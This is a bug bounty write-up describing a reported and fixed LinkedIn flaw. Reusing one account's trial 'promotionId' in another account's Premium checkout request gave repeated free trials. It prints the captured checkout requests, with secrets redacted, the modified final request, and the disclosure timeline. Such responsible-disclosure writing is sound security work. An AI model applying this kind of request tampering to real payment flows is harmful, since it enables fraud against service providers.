[LinkedIn BUG] Anyone can use unlimited Trial Premium on accounts that have used Trial Premium before

Aidil Arief
5 min readMay 11, 2024

--

Hi everyone,

In this article, we discovered a vulnerability in LinkedIn.

source: https://id.m.wikipedia.org/wiki/Berkas:LinkedIn_Logo.svg

On LinkedIn, there are Premium features. Premium features are a paid service that has a lot of features and benefits in it.

When I tried to use Trial Premium, I assumed that the Trial Premium feature could only be used once on each account. However, I found a way to use the Trial Premium features more than 1 time or unlimited. Let’s get this started.

The first step I took was to look for LinkedIn accounts that had already used Trial Premium.

Now I have the test account. Let’s do the next steps.

In this step, I tried to find out how the payment flow determines whether the product ordered is Trial Premium or Paid Premium by taking a sample for each request. Let’s check 2 requests when ordering Trial Premium and Paid Premium.

1. Trial Premium flow

Following is the request:

POST /voyager/api/voyagerPremiumDashSubscriptionCheckoutInformation?action=requestCheckoutV2 HTTP/2
Host: www.linkedin.com
Cookie: ***********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Li-Lang: in_ID
X-Li-Track: {“clientVersion”:”1.11***3",”mpVersion”:”1.11.5633",”osName”:”web”,”timezoneOffset”:7,”timezone”:”Asia/Bangkok”,”deviceFormFactor”:”DESKTOP”,”mpName”:”voyager-web”,”displayDensity”:1.25,”displayWidth”:1920,”displayHeight”:1080}
X-Li-Page-Instance: urn:li:page:d_flagship3_premium_atlas_chooser;m0UKo******DOjn2Q==
Csrf-Token: ajax:316319*******11451
X-Restli-Protocol-Version: 2.0.0
X-Li-Pem-Metadata: Voyager — Premium — Chooser Flow=chooser-checkout
Content-Type: application/json; charset=utf-8
Content-Length: 131
Origin: https://www.linkedin.com
Referer: https://www.linkedin.com/premium/products/?surveyId=3&utype=explore_all
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”promotionId”:65032504,”quantity”:1}

2. Premium Paid flow

Following is the request:

POST /voyager/api/voyagerPremiumDashSubscriptionCheckoutInformation?action=requestCheckoutV2 HTTP/2
Host: www.linkedin.com
Cookie: ***********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Li-Lang: in_ID
X-Li-Track: {“clientVersion”:”1.11***3",”mpVersion”:”1.11.5633",”osName”:”web”,”timezoneOffset”:7,”timezone”:”Asia/Bangkok”,”deviceFormFactor”:”DESKTOP”,”mpName”:”voyager-web”,”displayDensity”:1.25,”displayWidth”:1920,”displayHeight”:1080}
X-Li-Page-Instance: urn:li:page:d_flagship3_premium_atlas_chooser;m0UKo******DOjn2Q==
Csrf-Token: ajax:316319*******11451
X-Restli-Protocol-Version: 2.0.0
X-Li-Pem-Metadata: Voyager — Premium — Chooser Flow=chooser-checkout
Content-Type: application/json; charset=utf-8
Content-Length: 131
Origin: https://www.linkedin.com
Referer: https://www.linkedin.com/premium/products/?surveyId=3&utype=explore_all
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”quantity”:1}

What’s different from the 2 sample requests above?

From the 2 requests above, I got a different request, namely:

1. Trial Premium

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”promotionId”:65032504,”quantity”:1}

2. Paid Premium

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”quantity”:1}

Now I have found out how to flow payment detects Trial Premium orders namely through the “promotionId” section. The next step I need to do is to find out how the “promotionId” is obtained.

The first step we took to find out the “promotionId” was to try to catch several requests when ordering Trial Premium on several accounts that had never used Trial Premium.

Maybe the steps we took were very stupid because we didn’t do a source code review. However, from these steps, we can get conclusions in the form of:

  1. Each LinkedIn account has 1 different “promotionId” and can then be used to place a Premium Trial order.
  2. If the LinkedIn account has already placed a Trial Premium order using a valid “promotionId”. So the next time you request to extend your Premium subscription, you will not get a “promotionId” so you have to pay for the Premium subscription according to the subscription price.
  3. If each LinkedIn account has 1 “promotionId”, then the attacker can use the “promotionId” from a LinkedIn account that has never used Trial Premium, which the attacker can then reuse to re-order Trial Premium on the attacker’s account that has used Trial Premium before.

From several important conclusions above, we can get just by looking at how “promotionId” appears in the request when ordering a Trial Premium.

Now let’s make a real attack.

The next step we took was to prepare several accounts, namely:

  1. LinkedIn accounts that have used Trial Premium before
  2. New LinkedIn account that has never used Trial Premium

Now login to a new LinkedIn account that has never used Trial Premium and catch the request when ordering the Trial Premium.

Following is the request:

POST /voyager/api/voyagerPremiumDashSubscriptionCheckoutInformation?action=requestCheckoutV2 HTTP/2
Host: www.linkedin.com
Cookie: ***********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Li-Lang: in_ID
X-Li-Track: {“clientVersion”:”1.11***3",”mpVersion”:”1.11.5633",”osName”:”web”,”timezoneOffset”:7,”timezone”:”Asia/Bangkok”,”deviceFormFactor”:”DESKTOP”,”mpName”:”voyager-web”,”displayDensity”:1.25,”displayWidth”:1920,”displayHeight”:1080}
X-Li-Page-Instance: urn:li:page:d_flagship3_premium_atlas_chooser;m0UKo******DOjn2Q==
Csrf-Token: ajax:316319*******11451
X-Restli-Protocol-Version: 2.0.0
X-Li-Pem-Metadata: Voyager — Premium — Chooser Flow=chooser-checkout
Content-Type: application/json; charset=utf-8
Content-Length: 131
Origin: https://www.linkedin.com
Referer: https://www.linkedin.com/premium/products/?surveyId=3&utype=explore_all
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”promotionId”:65031337,”quantity”:1}

See now you get “promotionId” on new LinkedIn accounts that have never used Trial Premium :

”promotionId”:65031337

Now open a LinkedIn account that has already used Trial Premium before and catch the request when ordering a Premium subscription.

Following is the request:

POST /voyager/api/voyagerPremiumDashSubscriptionCheckoutInformation?action=requestCheckoutV2 HTTP/2
Host: www.linkedin.com
Cookie: ***********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Li-Lang: in_ID
X-Li-Track: {“clientVersion”:”1.11***3",”mpVersion”:”1.11.5633",”osName”:”web”,”timezoneOffset”:7,”timezone”:”Asia/Bangkok”,”deviceFormFactor”:”DESKTOP”,”mpName”:”voyager-web”,”displayDensity”:1.25,”displayWidth”:1920,”displayHeight”:1080}
X-Li-Page-Instance: urn:li:page:d_flagship3_premium_atlas_chooser;m0UKo******DOjn2Q==
Csrf-Token: ajax:316319*******11451
X-Restli-Protocol-Version: 2.0.0
X-Li-Pem-Metadata: Voyager — Premium — Chooser Flow=chooser-checkout
Content-Type: application/json; charset=utf-8
Content-Length: 131
Origin: https://www.linkedin.com
Referer: https://www.linkedin.com/premium/products/?surveyId=3&utype=explore_all
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”quantity”:1}

Now add the “promotionId” of a new LinkedIn account that has never used Trial Premium to the request above.

Final Request :

{“productUrn”:”urn:li:premiumProduct:10036",”mainPriceId”:5582288,”optionalPriceIds”:[5582658],”promotionId”:65031337,”quantity”:1}

Then send a request.

Next, you will get a _cartId with a total price of IDR 0.00

I completed the order. Then, made a payment of IDR 0.00, and managed to get Trial Premium back on the account that had used Trial Premium before.

Report : https://hackerone.com/reports/1808719

Timeline :

Report: December 17, 2022

Pending program review: December 17, 2022

Triaged: December 23, 2022

Bounty: $3,000 ($2,500 bounty and a $500 bonus)

First Fixed Confirmation: April 6, 2023

Can Bypass after the first fixed Confirmation: April 14, 2023

Second Fixed Confirmation: August 17, 2023

Requested to disclose: August 21,2023

Agreed to disclose: August 24, 2023

The report has been disclosed: August 24, 2023

--

--